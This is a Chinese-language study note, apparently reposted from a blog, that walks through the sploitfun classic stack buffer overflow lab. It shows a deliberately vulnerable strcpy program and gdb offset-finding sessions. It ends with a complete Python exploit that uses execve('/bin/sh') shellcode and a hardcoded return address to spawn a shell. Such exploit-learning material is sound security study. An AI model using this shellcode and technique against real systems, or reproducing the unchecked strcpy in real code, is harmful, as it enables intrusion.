Spliot-fun 之 Classic Stack Based Buffer Overflow 学习笔记

参考:
https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
http://wooyun.jozxing.cc/static/drops/tips-6597.html
本人小白,如果哪里有错误还望多多指教!!!

首先看一下源代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

关闭ASLR、DEP和Stack Protector编译生成可执行文件vuln,这里不使用反汇编,直接暴力测试,输入大于256长度的字符,测试发现当字符串长度为260时会出现Segmentation fault

  • 字符串长度为256
gdb-peda$ r `python -c 'print "A"*256'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*256'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 10742) exited normally]
Warning: not running or target is remote
  • 字符串长度为260
gdb-peda$ r `python -c 'print "A"*260'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*260'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0 
ESP: 0xbfffef00 ('A' <repeats 68 times>)
EIP: 0x41414141 ('AAAA')

  • 字符串长度为264
gdb-peda$ r `python -c 'print "A"*264'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*264'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0 
ESP: 0x4141413d ('=AAA')
EIP: 0x804848f (<main+84>:  ret)

可以看到字符串长度小于260不会产生Segmentation fault,而字符串长度大于260时又无法控制’EIP’的值。所以输入字符串长度应为’260’。

接下来确定EIP所在的位置,使用长度为260的如下字符串作为输入:

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111

开启:core dump,来定位正常运行情况下的ESPEIP

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

然后运行:

shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ ./vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Input:aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Segmentation fault (core dumped)

接下来根据产生的core dump文件确定ESPEIP以及buf的起始地址。

shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ gdb ./vuln /tmp/core.1543385049 -q
...
gdb-peda$ x/s $esp
0xbfffef00: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ", '1' <repeats 52 times>
gdb-peda$ x/s $eip
0x46464646: <error: Cannot access memory at address 0x46464646>

根据GGGG在输入字符串中的偏移可以计算出buf的起始地址,buf的起始地址需要写到EIP指向的位置,而EIPESP相差4个字节。exp.py如下:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbfffee80       
              
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)
buf = scode
buf += "\x90" * 99
buf += conv(ret_addr)
buf += "\x90" * 132


print "Calling vulnerable program"
call(["./vuln", buf])

运行结果:

shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ python exp.py 
Calling vulnerable program
Input:1�Ph//shh/bin��P��S���
                            �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
$ whoami
shu
  • 注意
  1. 虽然关闭了ASLR,但是使用gdb调试状态下的buf地址和直接运行时的buf地址不一样,所以不能直接通过调试来获取buf的地址。而且我在调试过程发现:调试状态下发生Segmentation faultESP和直接运行程序发生Segmentation fault时的ESP值相同,但是调试状态下的ESPEIP所指的内容和直接执行时的不一样。调试时的ESP值和EIP如下:
ESP: 0xbfffef00 ("WWWWXXXXYYYYZZZZ", '1' <repeats 52 times>)
EIP: 0x56565656 ('VVVV')
  1. 我第一次写exp.py的时候把EIP的值(即:return address)填为ESP,而将真正的shellcode放在ESP处,但是执行的时候报错,不知道什么原因。后来把shellcode放在了从buf处执行就能得到shelll了。
    原文作者:owl207
    原文地址: https://www.jianshu.com/p/a7f7530e3603
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞